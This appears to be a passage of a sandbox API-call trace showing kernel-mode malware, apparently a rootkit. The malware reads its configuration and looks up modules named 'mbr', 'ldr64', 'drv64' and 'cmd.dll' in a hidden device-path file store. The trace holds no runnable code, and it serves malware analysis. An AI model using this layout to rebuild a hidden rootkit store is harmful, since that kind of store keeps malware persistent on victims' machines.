_strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.993] KeLeaveCriticalRegion () [0123.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.994] ReleaseMutex (hMutex=0x100) returned 1 [0123.994] Sleep (dwMilliseconds=0x2bf20) [0124.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d1ba9b0, dwHighDateTime=0x1d24fa4)) [0124.001] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.001] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.002] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.002] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.002] KeEnterCriticalRegion () [0124.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.002] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.002] IdePortDispatch () returned 0x103 [0124.002] KeWaitForMutexObject () returned 0x0 [0124.002] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.002] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.002] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.002] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.002] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.002] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6460 [0124.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.002] KeLeaveCriticalRegion () [0124.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.002] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.002] KeEnterCriticalRegion () [0124.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.002] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.002] KeLeaveCriticalRegion () [0124.002] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.002] KeEnterCriticalRegion () [0124.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.003] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.003] IdePortDispatch () returned 0x103 [0124.003] KeWaitForMutexObject () returned 0x0 [0124.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.003] KeLeaveCriticalRegion () [0124.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.003] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.003] KeEnterCriticalRegion () [0124.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c6000 [0124.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.003] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.003] IdePortDispatch () returned 0x103 [0124.003] KeWaitForMutexObject () returned 0x0 [0124.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.003] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.003] IdePortDispatch () returned 0x103 [0124.004] KeWaitForMutexObject () returned 0x0 [0124.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.004] KeLeaveCriticalRegion () [0124.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.005] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.005] KeEnterCriticalRegion () [0124.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.005] KeLeaveCriticalRegion () [0124.005] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.005] KeEnterCriticalRegion () [0124.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.005] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.005] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.005] KeLeaveCriticalRegion () [0124.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.005] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.005] KeEnterCriticalRegion () [0124.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.005] ExFreePoolWithTag (P=0xfffffa8003bc6460, Tag=0x0) [0124.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.005] KeLeaveCriticalRegion () [0124.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.005] ReleaseMutex (hMutex=0xf0) returned 1 [0124.005] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.005] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.005] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.005] KeEnterCriticalRegion () [0124.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.006] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.006] IdePortDispatch () returned 0x103 [0124.006] KeWaitForMutexObject () returned 0x0 [0124.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.006] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.006] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.006] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.006] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.006] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2660 [0124.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.006] KeLeaveCriticalRegion () [0124.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.006] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.006] KeEnterCriticalRegion () [0124.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.006] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.006] KeLeaveCriticalRegion () [0124.006] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.006] KeEnterCriticalRegion () [0124.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.006] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.006] IdePortDispatch () returned 0x103 [0124.006] KeWaitForMutexObject () returned 0x0 [0124.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.007] KeLeaveCriticalRegion () [0124.007] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.007] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.007] KeEnterCriticalRegion () [0124.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c7000 [0124.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.007] IdePortDispatch () returned 0x103 [0124.007] KeWaitForMutexObject () returned 0x0 [0124.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.007] IdePortDispatch () returned 0x103 [0124.007] KeWaitForMutexObject () returned 0x0 [0124.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.008] KeLeaveCriticalRegion () [0124.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.008] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.008] KeEnterCriticalRegion () [0124.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.008] KeLeaveCriticalRegion () [0124.008] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.008] KeEnterCriticalRegion () [0124.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.008] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.008] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.009] KeLeaveCriticalRegion () [0124.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.009] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.009] KeEnterCriticalRegion () [0124.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.009] ExFreePoolWithTag (P=0xfffffa8003be2660, Tag=0x0) [0124.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.009] KeLeaveCriticalRegion () [0124.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.009] ReleaseMutex (hMutex=0xf0) returned 1 [0124.009] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.009] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.009] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.009] KeEnterCriticalRegion () [0124.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.009] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.009] IdePortDispatch () returned 0x103 [0124.009] KeWaitForMutexObject () returned 0x0 [0124.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2760 [0124.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.009] KeLeaveCriticalRegion () [0124.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.010] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.010] KeEnterCriticalRegion () [0124.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.010] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.010] KeLeaveCriticalRegion () [0124.010] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.010] KeEnterCriticalRegion () [0124.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.010] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.010] IdePortDispatch () returned 0x103 [0124.010] KeWaitForMutexObject () returned 0x0 [0124.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.010] KeLeaveCriticalRegion () [0124.010] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.010] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.010] KeEnterCriticalRegion () [0124.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c8000 [0124.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.010] IdePortDispatch () returned 0x103 [0124.011] KeWaitForMutexObject () returned 0x0 [0124.011] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.011] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.011] IdePortDispatch () returned 0x103 [0124.011] KeWaitForMutexObject () returned 0x0 [0124.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.011] KeLeaveCriticalRegion () [0124.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.012] KeEnterCriticalRegion () [0124.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.012] KeLeaveCriticalRegion () [0124.012] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.012] KeEnterCriticalRegion () [0124.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.012] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.012] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be24c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.012] KeLeaveCriticalRegion () [0124.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.012] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.012] KeEnterCriticalRegion () [0124.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.012] ExFreePoolWithTag (P=0xfffffa8003be2760, Tag=0x0) [0124.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.012] KeLeaveCriticalRegion () [0124.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.012] ReleaseMutex (hMutex=0xf0) returned 1 [0124.012] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.012] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.012] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.012] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.012] KeEnterCriticalRegion () [0124.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.013] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.013] IdePortDispatch () returned 0x103 [0124.013] KeWaitForMutexObject () returned 0x0 [0124.013] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.013] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.013] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.013] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.013] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.013] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.013] _strnicmp (_Str1="drv64", 